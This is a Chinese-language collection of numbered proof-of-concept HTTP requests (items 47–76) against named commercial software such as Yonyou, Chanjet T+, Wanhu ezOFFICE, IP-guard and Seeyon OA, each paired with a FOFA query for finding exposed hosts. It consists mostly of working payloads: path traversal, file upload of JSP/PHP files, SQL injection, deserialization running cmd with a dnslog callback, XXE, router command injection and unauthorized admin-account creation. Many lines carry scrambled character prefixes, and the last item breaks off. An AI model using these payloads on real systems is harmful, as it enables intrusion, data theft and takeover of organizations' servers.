: b! w% u2 A& \1 S) M7 ?- fUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36
5 F7 d. d0 g. ~! ]Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
  f6 }' M7 w% B* _& t. n: z: mAccept-Encoding: gzip, deflate
+ T9 K, h; g* U1 ?) e- kAccept-Language: zh-CN,zh;q=0.9
Connection: close
; n6 l0 ~; q2 h+ q5 O* E2 G4 I* G# @

+ A2 m+ [1 b3 k+ K; {' e47. 用友GRP A++Cloud 政府财务云 任意文件读取
FOFA：body="/pf/portal/login/css/fonts/style.css"
GET /ma/emp/maEmp/download?fileName=../../../etc/passwdHTTP/1.1
# ?6 c2 v' h3 _5 ^Host: x.x.x.x
# g  f3 I! y' ], k# L+ oCache-Control: max-age=0
Upgrade-Insecure-Requests: 1
+ d4 k, K8 \1 T. x6 O- ?  ?User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
' e. E5 W7 H- _5 \3 @% e6 jAccept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
& {- z3 [2 I# T# K! {If-Modified-Since: Wed, 11 Oct 2023 05:16:05 GMT
& u( C8 c8 R0 K0 W5 t, l- ]. gConnection: close



48. 用友U8 CRM swfupload 任意文件上传
( o; f" D. Y/ M. J  J9 ~4 pFOFA：title="用友U8CRM"
. i/ A! `$ b! W3 E  C  ?* gPOST /ajax/swfupload.php?DontCheckLogin=1&vname=file HTTP/1.1
6 P) U4 z) T9 n8 A' {Host: your-ip
+ z7 ?# a7 a5 A. BUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
" A0 ^8 {& |, m  H; T5 c- LAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
- D$ j5 w2 E6 A& dAccept-Encoding: gzip, deflate
Content-Type: multipart/form-data;boundary=----269520967239406871642430066855
  [" O5 T7 y" [1 F( D+ H------269520967239406871642430066855
Content-Disposition: form-data; name="file"; filename="s.php"
1231
Content-Type: application/octet-stream
8 B3 [6 @* a2 Y6 b------269520967239406871642430066855
Content-Disposition: form-data; name="upload"
upload
0 l$ I3 G+ {1 X4 v- [) L7 V* P------269520967239406871642430066855--
( S& w: x2 ]: Z' f$ h

49. 用友U8 CRM系统uploadfile.php接口任意文件上传
FOFA：body="用友U8CRM"
& ~; I) J: R% j# P  d% r, q% T
& t( V; ~$ }$ bPOST /ajax/uploadfile.php?DontCheckLogin=1&vname=file HTTP/1.1
Host: x.x.x.x
; ~$ h+ Y1 m; t. f8 E1 O8 I, uUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
3 o$ n' s2 W: cContent-Length: 329
& [( _- s3 F  DAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
5 ~! c1 |" h) f3 A$ b. v  s( qAccept-Encoding: gzip, deflate
& y3 G& [" E7 D. ~# d4 M: `! [Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
3 x5 Q2 `, V& P5 OConnection: close
5 ^' L' v" K3 w+ oContent-Type: multipart/form-data; boundary=---------------------------vvv3wdayqv3yppdxvn3w

-----------------------------vvv3wdayqv3yppdxvn3w
Content-Disposition: form-data; name="file"; filename="%s.php "
Content-Type: application/octet-stream
& Z+ a6 b  l) E4 o5 ^$ ?$ s: c
wersqqmlumloqa
-----------------------------vvv3wdayqv3yppdxvn3w
Content-Disposition: form-data; name="upload"

upload
-----------------------------vvv3wdayqv3yppdxvn3w--
' w+ r+ L5 Q5 T

8 q+ E2 E* j3 B" n4 F6 t$ nhttp://x.x.x.x/tmpfile/updB3CB.tmp.php

! }+ C9 Z( U. Y9 {# i* H50. QDocs Smart School 6.4.1 filterRecords SQL注入
FOFA：body="close closebtnmodal"
1 w, }9 M6 r. \: FPOST /course/filterRecords/ HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
& i9 s2 a7 H& k/ r: YConnection: close
# p6 R$ @; [  \8 e( }$ uContent-Length: 224
, k$ q6 B! ]) m0 ?4 D3 p$ p' NAccept: */*
Accept-Language: en
. s) E3 y- t# }0 V- P$ y) b5 W; nContent-Type: application/x-www-form-urlencoded
+ [  B1 l# P# P9 G2 ?( WAccept-Encoding: gzip

searchdata[0][title]=&searchdata[0][searchfield]=1&searchdata[0][searchvalue]=1&searchdata[1][title]=1&searchdata[1][searchfield]=1=1 and extractvalue(1,concat(0x5e,(select md5(123456)),0x5e))%23&searchdata[1][searchvalue]=1
: T6 @- m9 X% a4 o+ y) c, k

! U1 G$ X$ f8 }9 Q6 {51. 云时空社会化商业 ERP 系统 validateLoginName SQL 注入
) O. ?" E* p% n$ [0 K, {) eFOFA：app="云时空社会化商业ERP系统"
GET /sys/user/validateLoginName?loginName=admin'+AND+4563=DBMS_PIPE.RECEIVE_MESSAGE(CHR(65),5)-- HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36
5 {9 U8 g& U$ O' _( XAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
# M  ]/ f4 H& l5 Q' h6 e, sAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
2 B+ Q' @2 B9 z. SConnection: close
! z: d' I; R! [: {

$ a. a" c9 d0 U, y3 ~52. 泛微E-Office json_common.php sql注入
FOFA：app="泛微-EOffice"
POST /building/json_common.php HTTP/1.1
Host: 192.168.86.128:8097
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
% u' q! t7 Y  p8 HConnection: close
1 Y# k8 g# v& e6 M5 s8 k" a. gContent-Length: 87
Accept: */*
2 a0 g0 g$ _9 J% U$ M( |% RAccept-Language: en
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

tfs=city` where cityId =-1 /*!50000union*/ /*!50000select*/1,2,md5(102103122) ,4#|2|333

0 P% f5 l! ?8 p& ~; `. V
53. 迪普 DPTech VPN Service 任意文件上传
  n' T( x8 i" a. z$ iFOFA：app="DPtech-SSLVPN"
/..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd
6 d5 q4 X: K% }: n" S. s8 p

54. 畅捷通T+ getstorewarehousebystore 远程代码执行
! ~8 ?7 i5 [2 e5 y6 M# \FOFA：app="畅捷通-TPlus"
; K2 k$ L; g$ \2 i# h8 _- U- W第一步，向目标发送数据包，执行命令，将指定字符串写入指定文件
"/c echo 2WcBDoxC7JXhegsmOp6vJJ2dZBl > .2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt"
! f8 |! d, R: C( J$ u( U0 @
) O' u. P# f  c) m3 N
. y0 G) L0 D7 K完整数据包
POST /tplus/ajaxpro/Ufida.T.CodeBehind._PriorityLevel,App_Code.ashx?method=GetStoreWarehouseByStore HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/4E423F
Content-Length: 593

0 G# t! \$ N1 p1 L' K{
$ q- a% Q3 ]) A"storeID":{
"__type":"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
# D2 T9 D+ B: q2 H "MethodName":"Start",
# g: L" {- m5 A& G  "ObjectInstance":{
4 m2 S! m6 b4 `" `   "__type":"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
    "StartInfo":{
   "__type":"System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
    "FileName":"cmd",
+ C- D% [: }. q% w" B/ t5 k    "Arguments":"/c echo 2WcBDoxC7JXhegsmOp6vJJ2dZBl > .2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt"
& Y8 ?: b% E6 X' i: O4 i8 Z    }
  }
  }
}
4 R, n  w  H/ ]7 F; l
7 g% @* {  d0 W8 T
& T2 z2 A9 P3 H# v第二步，访问如下url
/tplus/.2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt


2 o# z2 K9 Q5 c. g55. 畅捷通T+ getdecallusers信息泄露
9 ~1 N3 `. p; p* L, W1 D5 hFOFA：app="畅捷通-TPlus"
7 |5 H/ V, a: J' T第一步，通过
/tplus/ajaxpro/Ufida.T.SM.Login.UIP.LoginManager,Ufida.T.SM.Login.UIP.ashx?method=CheckPassword接口获取Cookie
第二步，利用获取到的Cookie请求
* B- i& V4 i( `5 U/tplus/sm/privilege/ajaxpro/Ufida.T.SM.UIP.Privilege.PreviligeControl,Ufida.T.SM.UIP.ashx?method=GetDecAllUsers
4 i4 L) t, ^9 B6 N
56. 畅捷通T+ RRATableController,Ufida.T.DI.UIP.ashx 反序列化RCE
FOFA: app="畅捷通-TPlus"
POST /tplus/ajaxpro/Ufida.T.DI.UIP.RRA.RRATableController,Ufida.T.DI.UIP.ashx?method=GetStoreWarehouseByStore HTTP/1.1
! g# p) p; h5 u' b' R7 \* v; F0 G, BHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
; U& s1 k1 A& }7 ?2 mContent-Type: application/json
* N) H( G0 p; W$ a8 f
{
) u/ w  E# n7 E+ ]8 {3 v6 l& [" X  "storeID":{
    "__type":"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
! Y$ H, a7 I' h; `: g, O2 }   "MethodName":"Start",
( p) K6 b# e$ K: Y( V    "ObjectInstance":{
" C, {) B) G% V2 A6 k5 G0 O2 D4 v       "__type":"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
        "StartInfo": {
           "__type":"System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
           "FileName":"cmd", "Arguments":"/c ping 6qevyvmi.dnslog.pw"
, m/ M" M  J3 b       }
    }
  }
7 |$ D9 D2 F8 r1 G" _+ W% ?}
) Z# h/ M" n2 d( ]
. [" d5 i: K7 t7 m2 }$ E) z3 n
57. 畅捷通T+ keyEdit.aspx SQL注入
FOFA：app="畅捷通-TPlus"
GET /tplus/UFAQD/keyEdit.aspx?KeyID=1%27%20and%201=(select%20@@version)%20--&preload=1 HTTP/1.1
Host: host
User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
Accept-Charset: utf-8
Accept-Encoding: gzip, deflate
Connection: close

- r& P) ^7 W- }! z2 }) F$ l
+ Y, Q; C! n& c58. 畅捷通T+ KeyInfoList.aspx sql注入
FOFA：app="畅捷通-TPlus"
1 B' C: o* M) [  EGET /tplus/UFAQD/KeyInfoList.aspx?preload=1&zt=')AND+1+IN+(SELECT+sys.fn_varbintohexstr(hashbytes('MD5','123456')))--+ HTTP/1.1
( l) `* z) r& ^" ?Host: your-ip
4 S  T- _: C" C* t# x! z4 iUser-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
4 i) f9 Y# e: S/ ~! j" ?# [* [Accept-Charset: utf-8
Accept-Encoding: gzip, deflate
Connection: close
" j2 m  I! n9 f# E  X
5 Q9 Y1 o4 I; d& _4 N
" M) [7 X4 i- T$ b7 X59. XETUX 软件 dynamiccontent.properties.xhtml 远程代码执行
FOFA: title="@XETUX" && title="XPOS" && body="BackEnd"
3 ^: _0 }( u% W" v8 d3 r& ^POST /xc-one-pos/javax.faces.resource/dynamiccontent.properties.xhtml HTTP/1.1
+ }+ g7 {, T6 f" D  K) Y% YHost: 192.168.86.128:9090
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2309.372 Safari/537.36
Connection: close
Content-Length: 1669
Accept: */*
Accept-Language: en
Content-Type: application/x-www-form-urlencoded
" a8 p2 j% v# E* y& l# cAccept-Encoding: gzip
+ K; o6 E: J+ V4 w8 ~
0 Y' }! [' |# M; O! `PAYLOAD

# ^+ p& u" u0 F* T, y
60. 百卓Smart管理平台 importexport.php SQL注入
" C& z( ~% p! K, ?0 S! ~4 }/ t# eFOFA：title="Smart管理平台"
GET /importexport.php?sql=c2VsZWN0IDEsdXNlcigpLDM=&type=exportexcelbysql HTTP/1.1
/ i4 i- A; C. Q& F' H5 f6 H% U6 sHost:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
- o$ \' {2 ~: N2 B4 N) L$ qAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
3 G9 s& z, x& e( U: tAccept-Language: zh-CN,zh;q=0.9
Connection: close


: W/ x) q, ^/ G+ N2 l3 `! A61. 浙大恩特客户资源管理系统 fileupload 任意文件上传
FOFA: title="欢迎使用浙大恩特客户资源管理系统"
+ N" h( o+ H4 v! k* JPOST /entsoft_en/entereditor/jsp/fileupload.jsp?filename=8uxssX66eqrqtKObcVa0kid98xa.jsp HTTP/1.1
& t1 j) O' D) D2 {* }/ sHost: x.x.x.x
  z. g7 f2 P" c) T7 }8 qUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
& ?2 [1 J7 h0 G5 n6 e- HConnection: close
Content-Length: 27
! S7 v6 G/ ?3 C1 c# x8 VAccept: */*
, q8 V7 D, J) Q5 J% C5 ZAccept-Encoding: gzip, deflate
Accept-Language: en
* S: }& n0 W2 W; a' o& nContent-Type: application/x-www-form-urlencoded
9 a  O* F: G+ K3 T) v, A. ?! _
/ U& B! Z9 U" J, F! R8uxssX66eqrqtKObcVa0kid98xa

& Y4 U, j, h+ c1 c
62. IP-guard WebServer 远程命令执行
; O) K4 F9 K9 k( B& h7 m0 D" gFOFA："IP-guard" && icon_hash="2030860561"
0 m+ n' J" a$ |" ?* m' x$ OGET /ipg/static/appr/lib/flexpaper/php/view.php?doc=11.jpg&format=swf&isSplit=true&page=||echo+"09kdujzKJDLinkQTLfGzMMKDJ23HJ"+>09kdujzKJDLinkQTLfGzMMKDJ23HJ.txt HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2919.83 Safari/537.36
* t5 H4 \+ @: q5 ~% @. D" DConnection: close
, Q8 ~% s' V4 n2 GAccept: */*
- \% L& e& U5 T; R2 ], g, b# RAccept-Language: en
* o, @: H9 l$ _Accept-Encoding: gzip

. c1 R9 ]5 \( X) Z( ~) G
访问

, T# ]$ B4 i5 V2 i1 SGET /ipg/static/appr/lib/flexpaper/php/09kdujzKJDLinkQTLfGzMMKDJ23HJ.txt HTTP/1.1
Host: x.x.x.x

7 P6 x: t( R% J& e4 W& h/ X8 a
63. IP-guard WebServer任意文件读取
IP-guard < 4.82.0609.0
FOFA：icon_hash="2030860561"
POST /ipg/appr/MApplyList/downloadFile_client/getdatarecord HTTP/1.1
5 J, @0 Z7 W) Y# r0 [  nHost: your-ip
( e; f' s* J$ A/ Q  W4 y( h5 M7 JUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
4 k( [+ f  ~6 C& ]Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
$ H" D( M. Y! L' \4 @. Q1 V6 RAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
5 O  L+ U+ X- \Content-Type: application/x-www-form-urlencoded
  r, D# f: b/ F" `6 B- D
1 f5 D, Q$ u! b& g  t- ^path=..%2Fconfig.ini&filename=1&action=download&hidGuid=1v%0D%0A
- s6 A) |6 o$ l6 r
0 E& y5 ^  C# V) K64. 捷诚管理信息系统CWSFinanceCommon SQL注入
FOFA：body="/Scripts/EnjoyMsg.js"
. e5 p+ k( T! ZPOST /EnjoyRMIS_WS/WS/APS/CWSFinanceCommon.asmx HTTP/1.1
7 N  s" B3 G, ?# J2 E3 U5 \Host: 192.168.86.128:9001
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36
8 k9 h4 `9 S2 k# R0 O/ IConnection: close
Content-Length: 369
' x. z# d5 y; b$ k, I# }Accept: */*
Accept-Language: en
Content-Type: text/xml; charset=utf-8
Accept-Encoding: gzip
- _5 {/ B) E$ O0 t! b% \
<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
    <GetOSpById xmlns="http://tempuri.org/">
2 F& X" B, ?6 z  O- n/ }& i      <sId>1';waitfor delay '0:0:5'--+</sId>
; ~" }2 L( R5 ]" [    </GetOSpById>
5 l6 n5 h( C1 n2 _  </soap:Body>
</soap:Envelope>

* H& }) Q( O: ^5 B. `  b
65. 优卡特脸爱云一脸通智慧管理平台1.0.55.0.0.1权限绕过
FOFA：title="欢迎使用脸爱云 一脸通智慧管理平台"
0 _; c7 T7 x) B响应200即成功创建账号test123456/123456
POST /SystemMng.ashx HTTP/1.1
Host:
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
: B8 M8 R" H4 |! b7 z. k9 ZAccept-Encoding: gzip, deflate
Accept: */*
; I/ f% z1 J5 v! d' ~! V1 kConnection: close
Accept-Language: en
Content-Length: 174

operatorName=test123456&operatorPwd=123456&operpassword=123456&operatorRole=00&visible_jh=%E8%AF%B7%E9%80%89%E6%8B%A9&visible_dorm=%E8%AF%B7%E9%80%89%E6%8B%A9&funcName=addOperators
: g. l* y* w6 Q2 R2 z. m/ V5 F3 D

66. 万户ezOFFICE协同管理平台SendFileCheckTemplateEdit-SQL注入
FOFA：app="万户ezOFFICE协同管理平台"

$ Q, x' \/ v2 ]GET /defaultroot/public/iWebOfficeSign/Template/SendFileCheckTemplateEdit.jsp?RecordID=1'%20UNION%20ALL%20SELECT%20sys.fn_sqlvarbasetostr(HashBytes(%27MD5%27,%27102103122%27))%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL-- HTTP/1.1
Host: x.x.x.x
( O) _8 |  v! x& r5 E9 |; C" }User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
, r5 D/ P' f( p5 [Connection: close
Accept: */*
Accept-Language: en
$ O; w- t3 O: j/ ~Accept-Encoding: gzip
8 f% B- y' n3 s# V: ]

, Q$ Y# T" e% X第42,43行包含6cfe798ba8e5b85feb50164c59f4bec9字符串证明漏洞存在

67. 万户ezOFFICE wpsservlet任意文件上传
2 a7 l, @2 f5 V% @: C/ m+ ?6 HFOFA：app="万户网络-ezOFFICE"
* ~8 F' C/ o$ Y& bnewdocId和filename参数表示写入文件名称，dir参数表示写入文件的路径，fileType参数表示文件类型
3 W6 U, R* s1 c  R" u1 KPOST /defaultroot/wpsservlet?option=saveNewFile&newdocId=apoxkq&dir=../platform/portal/layout/&fileType=.jsp HTTP/1.1
# B+ u4 m) H$ WHost: x.x.x.x
) M8 O; h' j! `% Y' }User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Content-Length: 173
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
) _7 a2 w% Z7 o! _1 _2 ZConnection: close
; J# x' r( g) A6 h2 SContent-Type: multipart/form-data; boundary=ufuadpxathqvxfqnuyuqaozvseiueerp
# g0 z$ z* _5 ]# r+ i5 F) b+ S; cDNT: 1
7 @2 _. ?2 U; S: i6 |' BUpgrade-Insecure-Requests: 1

; y0 O8 |6 m) C, t! i  P! ]--ufuadpxathqvxfqnuyuqaozvseiueerp
Content-Disposition: form-data; name="NewFile"; filename="apoxkq.jsp"

<% out.print("sasdfghjkj");%>
6 {$ y8 n: x8 x--ufuadpxathqvxfqnuyuqaozvseiueerp--
0 u6 t6 T1 O+ I

文件回显路径为/defaultroot/platform/portal/layout/apoxkq.jsp
# l4 a- s+ }( ~0 M4 |0 L
68. 万户ezOFFICE wf_printnum.jsp SQL注入
FOFA：app="万户ezOFFICE协同管理平台"
GET /defaultroot/platform/bpm/work_flow/operate/wf_printnum.jsp;.js?recordId=1;WAITFOR%20DELAY%20%270:0:5%27-- HTTP/1.1
Host: {{host}}
/ d/ E& F4 T3 s! k+ H% |0 h. @User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.84 Safari/537.36
! }3 {- P& F$ C1 S* R' u5 }8 c5 _Accept: application/signed-exchange;v=b3;q=0.7,*/*;q=0.8
Accept-Encoding: gzip, deflate
+ F, W2 }8 i7 r6 F; o& YAccept-Language: zh-CN,zh;q=0.9
2 z  K3 e: t- a. ?* vConnection: close


& }$ ]/ V8 l5 B6 c69. 万户 ezOFFICE contract_gd.jsp SQL注入
0 E- Y/ C2 h8 u' i0 JFOFA：app="万户ezOFFICE协同管理平台"
GET /defaultroot/modules/subsidiary/contract/contract_gd.jsp;.js?gd=1&gd_startUserCode=1%27%3Bwaitfor%20delay%20%270%3A0%3A5%27-- HTTP/1.1
Host: your-ip
+ ^, m1 B% ]4 i$ y# V9 B8 QUser-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
$ T9 f0 G. l* D5 z% dAccept: */*
Connection: keep-alive
, t9 R5 ^: ?% u7 w
  C, ?% X: p' C: W$ N' b& y
70. 万户ezEIP success 命令执行
; \; q; s& \+ S0 _* G  VFOFA：app="万户网络-ezEIP"
) c' c* |( d& m5 A3 A- h+ n2 RPOST /member/success.aspx HTTP/1.1
8 f" W( E7 r% e  gHost: {{Hostname}}
# |: C2 i" H0 h" F% DUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
7 p: u1 @9 g1 P7 sSID: dHlwZSBDOlxXaW5kb3dzXHdpbi5pbmk=
3 T' m% s; F; \8 k+ }9 G, oContent-Type: application/x-www-form-urlencoded
' M, k, p! V) WTYPE: C
) }% |2 b) l3 M" X7 w% OContent-Length: 16702
0 v: Q8 K+ X, M5 a$ U* r
, }5 N  M! n# y+ v0 j- N__VIEWSTATE=PAYLOAD
. y/ w* w6 K$ [" ^

71. 邦永PM2项目管理系统 Global_UserLogin.aspx SQL注入
4 f9 O( [9 w- V( F& r1 jFOFA：body="PM2项目管理系统BS版增强工具.zip"
GET /Global/Global_UserLogin.aspx?accId=1%27%3BWAITFOR+DELAY+%270%3A0%3A5%27--&loginCode&password&type HTTP/1.1
: B1 j; q) q  X+ R* }6 l( UHost: x.x.x.xx.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
Connection: close
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
. }7 a! D0 R# SAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
) o; @+ b- b3 A% i% ?4 aUpgrade-Insecure-Requests: 1


72. 致远OA getAjaxDataServlet XXE
* b4 b  ?3 l" X$ fFOFA：app="致远互联-OA"
POST /seeyon/m-signature/RunSignature/run/getAjaxDataServlet HTTP/1.1
4 \9 ~1 M6 t7 eHost: 192.168.40.131:8099
  u2 b7 N2 t4 x) r: S' {( j# F  iUser-Agent: Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36
Connection: close
Content-Length: 583
8 v, C8 s7 Z- o- H# h; W1 v# }Content-Type: application/x-www-form-urlencoded
0 F3 k" [9 g; a# _! @! uAccept-Encoding: gzip

S=ajaxColManager&M=colDelLock&imgvalue=lr7V9+0XCEhZ5KUijesavRASMmpz%2FJcFgNqW4G2x63IPfOy%3DYudDQ1bnHT8BLtwokmb%2Fk&signwidth=4.0&signheight=4.0&xmlValue=%3C%3Fxml+version%3D%221.0%22%3F%3E%0D%0A%3C%21DOCTYPE+foo+%5B%0D%0A++%3C%21ELEMENT+foo+ANY+%3E%0D%0A++%3C%21ENTITY+xxe+SYSTEM+%22file%3A%2F%2F%2Fc%3A%2Fwindows%2Fwin.ini%22+%3E%0D%0A%55D%3E%0D%0A%3CSignature%3E%3CField%3E%3Ca+Index%3D%22ProtectItem%22%3Etrue%3C%2Fa%3E%3Cb+Index%3D%22Caption%22%3Ecaption%3C%2Fb%3E%3Cc+Index%3D%22ID%22%3Eid%3C%2Fc%3E%3Cdd+Index%3D%22VALUE%22%3E%26xxe%3B%3C%2Fd%3E%3C%2FField%3E%3C%2FSignature%3E
* V& e- `& Z& ~/ ~0 l
) e& p+ f7 H( y' F: i8 U) T7 M
3 ^- C/ G* |: o' L73. GeoServer wms远程代码执行
FOFA：icon_hash=”97540678”
POST /geoserver/wms HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
Content-Length: 1981
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: application/xml
SL-CE-SUID: 3

: z' W2 p/ n# jPAYLOAD
2 b! C1 m6 j) v. v) I  @! V
6 T! t" k/ @! U0 ^" n0 p
74. 致远M3-server 6_1sp1 反序列化RCE
, s3 I9 d8 J, cFOFA：title="M3-Server"
/ T1 C# Z1 ], o' |3 J9 Y1 l! {PAYLOAD
/ m. a( V4 g0 s8 Y! @+ n: y) d4 I
6 n8 R5 i/ H, @. g" B) u3 R75. Telesquare TLR-2005Ksh 路由器 admin.cgi RCE
. L& m5 H% ~* H( J% @: ~FOFA：app="TELESQUARE-TLR-2005KSH"
GET /cgi-bin/admin.cgi?Command=setSyncTimeHost&time=`ifconfig>test28256.txt` HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
3 n' ^: d$ }, gAccept-Encoding: gzip
8 g, I. k1 @9 _# V& {
/ S, Y/ b$ }4 V; |8 K
GET /cgi-bin/test28256.txt HTTP/1.1
5 e9 Y# e/ m* j6 U( }7 VHost: x.x.x.x

; G$ I! f; Q2 X; I
/ U1 \1 `7 ?* C# Q1 Q/ R5 h; z3 n76. 新开普掌上校园服务管理平台service.action远程命令执行
6 X+ W  ?4 K8 G; vFOFA：title="掌上校园服务管理平台"
& a4 _9 G2 z/ Q) B7 F& X9 K4 Z  N9 K# HPOST /service_transport/service.action HTTP/1.1
4 j* U2 T, A7 K. b- F/ lHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
Connection: close
Content-Length: 211
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
. s' Q' n$ z4 f$ G. nAccept-Encoding: gzip, deflate
" _4 G- k+ j$ y& d; Q/ |& pAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
- s* y8 K5 z: U. q. i' K& L7 qCookie: JSESSIONID=6A13B163B0FA9A5F8FE53D4153AC13A4
Upgrade-Insecure-Requests: 1
/ |, K/ S, o5 g
: @5 `; @8 |, i{
"command": "GetFZinfo",
